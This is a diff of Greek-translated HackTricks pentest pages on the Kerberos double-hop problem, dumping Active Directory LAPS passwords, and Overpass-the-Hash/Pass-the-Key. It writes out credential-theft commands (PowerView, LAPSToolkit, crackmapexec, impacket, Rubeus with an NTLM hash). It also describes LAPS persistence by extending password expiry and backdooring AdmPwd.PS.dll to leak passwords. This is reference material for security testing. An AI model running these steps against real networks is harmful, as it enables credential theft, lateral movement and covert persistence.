Η εγκατάσταση του OpenSSH στον πρώτο διακομιστή επιτρέπει μια παράκαμψη για το πρόβλημα του διπλού άλματος, ιδιαίτερα χρήσιμη για σενάρια jump box. Αυτή η μέθοδος απαιτεί εγκατάσταση και ρύθμιση του OpenSSH για τα Windows μέσω της γραμμής εντολών. Όταν ρυθμιστεί για Ελέγχου ταυτότητας με κωδικό πρόσβασης, αυτό επιτρέπει στον ενδιάμεσο διακομιστή να λάβει ένα TGT εκ μέρους του χρήστη.
Η εγκατάσταση του OpenSSH στον πρώτο διακομιστή επιτρέπει μια παράκαμψη για το πρόβλημα του διπλού άλματος, ιδιαίτερα χρήσιμη για σενάρια jump box. Αυτή η μέθοδος απαιτεί εγκατάσταση και ρύθμιση του OpenSSH για τα Windows μέσω της γραμμής εντολών. Όταν ρυθμιστεί για Επαλήθευση Κωδικού, αυτό επιτρέπει στον ενδιάμεσο διακομιστή να λάβει ένα TGT εκ μέρους του χρήστη.
#### Βήματα Εγκατάστασης OpenSSH
1. Λήψη και μετακίνηση του τελευταίου zip κυκλοφορίας του OpenSSH στον στόχο διακομιστή.
1. Λήψη και μεταφορά του τελευταίου zip κυκλοφορίας του OpenSSH στον στόχο διακομιστή.
2. Αποσυμπίεση και εκτέλεση του σεναρίου `Install-sshd.ps1`.
3. Προσθήκη κανόνα του τοίχου προστασίας για το άνοιγμα της θύρας 22 και επαλήθευση ότι οι υπηρεσίες SSH λειτουργούν.
Για την επίλυση σφαλμάτων `Επαναφορά σύνδεσης`, οι άδειες πρόσβασης ενδέχεται να χρειαστεί να ενημερωθούν για να επιτραπεί σε όλους την ανάγνωση και εκτέλεση στον κατάλογο του OpenSSH.
Για την επίλυση σφαλμάτων `Επαναφοράς σύνδεσης`, ενδέχεται να χρειαστεί να ενημερωθούν οι άδειες πρόσβασης για να επιτραπεί σε όλους την ανάγνωση και εκτέλεση στον κατάλογο του OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -100,7 +102,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -108,10 +110,10 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,26 +2,26 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες
Το Local Administrator Password Solution (LAPS) είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση ενός συστήματος όπου τα **κωδικοί διαχειριστή**, οι οποίοι είναι **μοναδικοί, τυχαίοι και τακτικά αλλάζονται**, εφαρμόζονται σε υπολογιστές που έχουν ενταχθεί στον τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια εντός του Active Directory και είναι προσβάσιμοι μόνο από χρήστες που έχουν δοθεί άδεια μέσω των Λιστών Ελέγχου Πρόσβασης (ACLs). Η ασφάλεια των μεταδόσεων κωδικών από τον πελάτη στον διακομιστή εξασφαλίζεται με τη χρήση του **Kerberos έκδοση 5** και του **Σύνθετου Προτύπου Κρυπτογράφησης (AES)**.
Η Λύση Τοπικού Διαχειριστή Κωδικού (LAPS) είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση ενός συστήματος όπου οι **κωδικοί διαχειριστή**, οι οποίοι είναι **μοναδικοί, τυχαίοι και τακτικά αλλάζονται**, εφαρμόζονται σε υπολογιστές που έχουν ενταχθεί στον τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια εντός του Active Directory και είναι προσβάσιμοι μόνο από χρήστες που έχουν δοθεί άδεια μέσω Λιστών Ελέγχου Πρόσβασης (ACLs). Η ασφάλεια των μεταδόσεων κωδικών από τον πελάτη στον διακομιστή διασφαλίζεται με τη χρήση του **Kerberos έκδοση 5** και του **Προηγμένου Προτύπου Κρυπτογράφησης (AES)**.
Στα αντικείμενα υπολογιστών του τομέα, η εφαρμογή του LAPS οδηγεί στην προσθήκη δύο νέων χαρακτηριστικών: **`ms-mcs-AdmPwd`** και **`ms-mcs-AdmPwdExpirationTime`**. Αυτά τα χαρακτηριστικά αποθηκεύουν τον **κωδικό διαχειριστή σε καθαρό κείμενο** και **τον χρόνο λήξης του**, αντίστοιχα.
Στα αντικείμενα υπολογιστών του τομέα, η εφαρμογή της LAPS οδηγεί στην προσθήκη δύο νέων χαρακτηριστικών: **`ms-mcs-AdmPwd`** και **`ms-mcs-AdmPwdExpirationTime`**. Αυτά τα χαρακτηριστικά αποθηκεύουν τον **κωδικό διαχειριστή κειμένου** και **τον χρόνο λήξης του**, αντίστοιχα.
### Έλεγχος εάν είναι ενεργοποιημένο
```bash
@ -38,9 +38,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### Πρόσβαση στον κωδικό πρόσβασης του LAPS
Μπορείτε να **κατεβάσετε την ακατέργαστη πολιτική του LAPS** από `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` και στη συνέχεια να χρησιμοποιήσετε το **`Parse-PolFile`** από το πακέτο [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) για να μετατρέψετε αυτό το αρχείο σε μορφή αναγνώσιμη από ανθρώπους.
Μπορείτε να **κατεβάσετε τη ρυθμιση LAPS** από `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` και στη συνέχεια να χρησιμοποιήσετε το **`Parse-PolFile`** από το πακέτο [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) για να μετατρέψετε αυτό το αρχείο σε μορφή αναγνώσιμη από ανθρώπους.
Επιπλέον, τα **ενσωματωμένα LAPS PowerShell cmdlets** μπορούν να χρησιμοποιηθούν εάν είναι εγκατεστημένα σε ένα μηχάνημα στο οποίο έχουμε πρόσβαση:
Επιπλέον, τα **ενσωματωμένα LAPS PowerShell cmdlets** μπορούν να χρησιμοποιηθούν αν είναι εγκατεστημένα σε έναν υπολογιστή στον οποίο έχουμε πρόσβαση:
```powershell
Get-Command *AdmPwd*
@ -73,7 +73,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
Το [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) διευκολύνει την απαρίθμηση των LAPS με διάφορες λειτουργίες.\
Ένα από αυτά είναι η ανάλυση των **`ExtendedRights`** για **όλους τους υπολογιστές με ενεργοποιημένα τα LAPS.** Αυτό θα εμφανίσει **ομάδες** που είναι ειδικά **αναθετημένες να διαβάζουν τους κωδικούς LAPS**, οι οποίες συχνά είναι χρήστες σε προστατευμένες ομάδες.\
Ένα **λογαριασμός** που έχει **συνδεθεί ένας υπολογιστής** σε έναν τομέα λαμβάνει `Όλα τα Επεκτεινόμενα Δικαιώματα` πάνω σε αυτό τον υπολογιστή, και αυτό το δικαίωμα δίνει στον **λογαριασμό** τη δυνατότητα να **διαβάσει κωδικούς πρόσβασης**. Η απαρίθμηση μπορεί να δείξει έναν λογαριασμό χρήστη που μπορεί να διαβάσει τον κωδικό LAPS σε έναν υπολογιστή. Αυτό μπορεί να μας βοηθήσει να **στοχεύσουμε συγκεκριμένους χρήστες του AD** που μπορούν να διαβάσουν τους κωδικούς LAPS.
Ένα **λογαριασμός** που έχει **ενταχθεί σε έναν υπολογιστή** σε έναν τομέα λαμβάνει `Όλα τα Επεκτεινόμενα Δικαιώματα` πάνω σε αυτό τον υπολογιστή, και αυτό το δικαίωμα δίνει στον **λογαριασμό** τη δυνατότητα να **διαβάζει κωδικούς πρόσβασης**. Η απαρίθμηση μπορεί να δείξει έναν λογαριασμό χρήστη που μπορεί να διαβάσει τον κωδικό LAPS σε έναν υπολογιστή. Αυτό μπορεί να μας βοηθήσει να **στοχεύσουμε συγκεκριμένους χρήστες του AD** που μπορούν να διαβάσουν τους κωδικούς LAPS.
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -97,16 +97,16 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Ανάκτηση Κωδικών LAPS με το Crackmapexec**
Αν δεν υπάρχει πρόσβαση σε ένα powershell, μπορείτε να καταχραστείτε αυτό το προνόμιο απομακρυσμένα μέσω του LDAP χρησιμοποιώντας
## **Απορρόφηση Κωδικών LAPS με το Crackmapexec**
Εάν δεν υπάρχει πρόσβαση σε ένα powershell μπορείτε να καταχραστείτε αυτό το προνόμιο απομακρυσμένα μέσω LDAP χρησιμοποιώντας
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
## **Μέθοδος Μόνιμης Παραμονής LAPS**
## **Μέθοδος Μόνιμης Επιμονής LAPS**
### **Ημερομηνία Λήξης**
Αφού γίνετε διαχειριστής, είναι δυνατόν να **αποκτήσετε τους κωδικούς πρόσβασης** και να **εμποδίσετε** ένα μηχάνημα από το **να ενημερώνει** τον **κωδικό πρόσβασης** του **θέτοντας την ημερομηνία λήξης στο μέλλον**.
Αφού γίνετε διαχειριστής, είναι δυνατόν να **αποκτήσετε τους κωδικούς πρόσβασης** και να **εμποδίσετε** ένα μηχάνημα από το **να ενημερώνει** τον **κωδικό πρόσβασής του** με το **να ορίζετε την ημερομηνία λήξης στο μέλλον**.
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -119,16 +119,16 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099
Ο κωδικός θα επαναφερθεί ακόμα και αν ένας **διαχειριστής** χρησιμοποιήσει το **`Reset-AdmPwdPassword`** cmdlet; ή αν η επιλογή **Do not allow password expiration time longer than required by policy** είναι ενεργοποιημένη στο LAPS GPO.
{% endhint %}
### Backdoor
### Πίσω πόρτα
Ο πρωτογενής κώδικας για το LAPS μπορεί να βρεθεί [εδώ](https://github.com/GreyCorbel/admpwd), επομένως είναι δυνατόν να τοποθετηθεί ένα backdoor στον κώδικα (μέσα στη μέθοδο `Get-AdmPwdPassword` στο αρχείο `Main/AdmPwd.PS/Main.cs` για παράδειγμα) που θα **εξαγάγει νέους κωδικούς ή θα τους αποθηκεύσει κάπου**.
Ο πρωτογενής κώδικας για το LAPS μπορεί να βρεθεί [εδώ](https://github.com/GreyCorbel/admpwd), επομένως είναι δυνατόν να τοποθετηθεί μια πίσω πόρτα στον κώδικα (μέσα στη μέθοδο `Get-AdmPwdPassword` στο αρχείο `Main/AdmPwd.PS/Main.cs` για παράδειγμα) που θα **εξαγάγει νέους κωδικούς ή θα τους αποθηκεύσει κάπου**.
Στη συνέχεια, απλά μεταγλωτίστε το νέο `AdmPwd.PS.dll` και ανεβάστε το στη μηχανή στο `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (και αλλάξτε την χρονοσφραγίδα).
Στη συνέχεια, απλά μεταγλωττίστε το νέο `AdmPwd.PS.dll` και ανεβάστε το στο μηχάνημα στο `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (και αλλάξτε την χρονοσήμανση τροποποίησης).
## Αναφορές
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -137,9 +137,9 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,27 +1,27 @@
# Over Pass the Hash/Pass the Key
# Υπέρβαση του Hash/Παράδοση του Κλειδιού
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks για το AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Overpass The Hash/Pass The Key (PTK)
## Υπέρβαση του Hash/Παράδοση του Κλειδιού (PTK)
Η επίθεση **Overpass The Hash/Pass The Key (PTK)** σχεδιάστηκε για περιβάλλοντα όπου ο παραδοσιακός πρωτόκολλο NTLM είναι περιορισμένος και η πιστοποίηση Kerberos έχει προτεραιότητα. Αυτή η επίθεση εκμεταλλεύεται το NTLM hash ή τα κλειδιά AES ενός χρήστη για να ζητήσει εισιτήρια Kerberos, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση σε πόρους εντός ενός δικτύου.
Η επίθεση **Υπέρβαση του Hash/Παράδοση του Κλειδιού (PTK)** σχεδιάστηκε για περιβάλλοντα όπου το παραδοσιακό πρωτόκολλο NTLM είναι περιορισμένο και η πιστοποίηση Kerberos έχει προτεραιότητα. Αυτή η επίθεση εκμεταλλεύεται το hash NTLM ή τα κλειδιά AES ενός χρήστη για να ζητήσει εισιτήρια Kerberos, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση σε πόρους εντός ενός δικτύου.
Για την εκτέλεση αυτής της επίθεσης, το αρχικό βήμα περιλαμβάνει την απόκτηση του NTLM hash ή του κωδικού πρόσβασης του λογαριασμού του στόχου χρήστη. Μετά την ασφαλή απόκτηση αυτών των πληροφοριών, μπορεί να ληφθεί ένα εισιτήριο παραχώρησης εισιτηρίων (TGT) για τον λογαριασμό, επιτρέποντας στον επιτιθέμενο να έχει πρόσβαση σε υπηρεσίες ή μηχανές στις οποίες ο χρήστης έχει δικαιώματα.
Για την εκτέλεση αυτής της επίθεσης, το αρχικό βήμα περιλαμβάνει την απόκτηση του hash NTLM ή του κωδικού πρόσβασης του λογαριασμού του στόχου. Μετά την ασφαλή απόκτηση αυτών των πληροφοριών, μπορεί να ληφθεί ένα εισιτήριο παραχώρησης εισιτηρίων (TGT) για τον λογαριασμό, επιτρέποντας στον εισβολέα να έχει πρόσβαση σε υπηρεσίες ή μηχανές στις οποίες ο χρήστης έχει δικαιώματα.
Η διαδικασία μπορεί να ξεκινήσει με τις ακόλουθες εντολές:
```bash
@ -29,18 +29,18 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
Για σενάρια που απαιτούν AES256, η επιλογή `-aesKey [Κλειδί AES]` μπορεί να χρησιμοποιηθεί. Επιπλέον, το αποκτηθέν εισιτήριο μπορεί να χρησιμοποιηθεί με διάφορα εργαλεία, συμπεριλαμβανομένων του smbexec.py ή wmiexec.py, διευρύνοντας το πεδίο επίθεσης.
Για σενάρια που απαιτούν AES256, η επιλογή `-aesKey [AES key]` μπορεί να χρησιμοποιηθεί. Επιπλέον, το αποκτηθέν εισιτήριο μπορεί να χρησιμοποιηθεί με διάφορα εργαλεία, συμπεριλαμβανομένων των smbexec.py ή wmiexec.py, διευρύνοντας το πεδίο της επίθεσης.
Τυπικά, τα προβλήματα που αντιμετωπίζονται όπως _PyAsn1Error_ ή _Το KDC δεν μπορεί να βρει το όνομα_ λύνονται με την ενημέρωση της βιβλιοθήκης Impacket ή τη χρήση του ονόματος κειμένου αντί για τη διεύθυνση IP, εξασφαλίζοντας συμβατότητα με το Kerberos KDC.
Τυπικά, τα προβλήματα που αντιμετωπίζονται όπως _PyAsn1Error_ ή _Το KDC δεν μπορεί να βρει το όνομα_ λύνονται με την ενημέρωση της βιβλιοθήκης Impacket ή τη χρήση του ονόματος του υπολογιστή αντί για τη διεύθυνση IP, εξασφαλίζοντας συμβατότητα με το Kerberos KDC.
Μια εναλλακτική ακολουθία εντολών χρησιμοποιώντας το Rubeus.exe αποδεικνύει ένα άλλο προσχέδιο αυτής της τεχνικής:
Μια εναλλακτική ακολουθία εντολών χρησιμοποιώντας το Rubeus.exe αποδεικνύει ένα άλλο προσόν αυτής της τεχνικής:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Αυτή η μέθοδος αντικατοπτρίζει την προσέγγιση **Pass the Key**, με έμφαση στην απαγωγή και χρήση του εισιτηρίου απευθείας για σκοπούς πιστοποίησης. Είναι κρίσιμο να σημειωθεί ότι η έναρξη μιας αίτησης TGT ενεργοποιεί το συμβάν `4768: Ζητήθηκε ένα εισιτήριο πιστοποίησης Kerberos (TGT)`, σημαίνοντας χρήση RC4-HMAC από προεπιλογή, αν και τα σύγχρονα συστήματα Windows προτιμούν το AES256.
Αυτή η μέθοδος αντικατοπτρίζει την προσέγγιση **Pass the Key**, με έμφαση στην απαγωγή και χρήση του εισιτηρίου απευθείας για σκοπούς πιστοποίησης. Είναι κρίσιμο να σημειωθεί ότι η έναρξη μιας αίτησης TGT ενεργοποιεί το συμβάν `4768: Ζητήθηκε ένα εισιτήριο πιστοποίησης Kerberos (TGT)`, σημαίνοντας μια χρήση RC4-HMAC από προεπιλογή, αν και τα μοντέρνα συστήματα Windows προτιμούν το AES256.
Για να συμμορφωθείτε με τη λειτουργική ασφάλεια και να χρησιμοποιήσετε το AES256, μπορεί να εφαρμοστεί η παρακάτω εντολή:
Για να συμμορφωθείτε με τη λειτουργική ασφάλεια και να χρησιμοποιήσετε το AES256, μπορεί να εφαρμοστεί η ακόλουθη εντολή:
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
@ -48,7 +48,7 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -56,10 +56,10 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
